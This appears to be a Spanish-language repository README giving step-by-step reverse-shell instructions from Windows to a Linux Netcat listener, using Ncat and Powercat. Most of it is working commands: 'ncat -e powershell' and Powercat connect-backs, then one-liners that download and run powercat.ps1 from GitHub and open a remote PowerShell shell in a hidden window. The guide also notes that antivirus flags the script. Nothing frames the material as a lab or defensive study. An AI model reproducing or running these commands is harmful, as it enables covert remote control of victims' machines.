Repositorio sobre shell remotas.
Este documento proporciona una guía paso a paso para establecer una shell remota entre una máquina Linux y una máquina Windows utilizando Netcat en Linux y Ncat en Windows, con la ventana de PowerShell en la máquina Windows.
- Abre una terminal.
- Ejecuta el siguiente comando para iniciar un listener con Netcat:
Donde
nc -lvp 4444
4444
es el puerto en el que deseas escuchar.
- Abre cmd.exe.
- Inicia una shell remota con la ventana de PowerShell con el siguiente comando:
Donde
ncat -e powershell <ip-address> 4444
<ip-address>
es la dirección IP de tu máquina Linux y4444
es el puerto que especificaste en el comando Netcat.
Ahora, cuando te conectes desde tu máquina Linux, obtendrás una shell de PowerShell de tu máquina Windows.
Guía paso a paso para establecer una shell remota entre una máquina Linux y una máquina Windows utilizando Netcat y Powercat.
IMPORTANTE: muchos antivirus, como Windows Defender, identifican el archivo powercat.ps1
como código malicioso una vez descargado, procediendo a su bloqueo y eliminación.
- Abre una terminal.
- Ejecuta el siguiente comando para iniciar un listener con Netcat:
Donde
nc -lvp 4444
4444
es el puerto en el que deseas escuchar.
- Abre PowerShell.
- Descarga e importa el módulo Powercat con los siguientes comandos:
Invoke-WebRequest "https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1" -OutFile powercat.ps1 Import-Module ./powercat.ps1
- Conecta tu máquina Windows a la máquina Linux con el siguiente comando:
Donde
powercat -c <ip-address> -p 4444 -ep powershell
<ip-address>
es la dirección IP de tu máquina Linux y4444
es el puerto que especificaste en el comando Netcat.
Ahora, cuando te conectes desde tu máquina Linux, obtendrás una shell de PowerShell de tu máquina Windows.
Start-Process powershell -ArgumentList "-WindowStyle Hidden -Command & {powercat -c <ip-address> -p 4444 -ep powershell}"
Unificar descarga de Powercat, inicio de una shell remota con la ventana de PowerShell oculta con el siguiente comando:
Start-Process powershell -ArgumentList "-WindowStyle Hidden -Command & {Invoke-WebRequest 'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1' -OutFile powercat.ps1; Import-Module ./powercat.ps1; powercat -c <ip-address> -p 4444 -ep powershell}"
Este comando realiza las siguientes acciones:
- Inicia un nuevo proceso de PowerShell con la ventana oculta.
- Descarga el módulo Powercat e importa el módulo.
- Establece la shell remota.
Aquí tienes el comando unificado que descarga Powercat, inicia una shell remota y oculta la ventana de PowerShell, todo en una sola línea desde un cmd.exe:
powershell -Command "& {Start-Process powershell -ArgumentList '-WindowStyle Hidden -Command & {Invoke-WebRequest ''https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'' -OutFile powercat.ps1; Import-Module ./powercat.ps1; powercat -c <ip-address> -p 4444 -ep powershell}'}"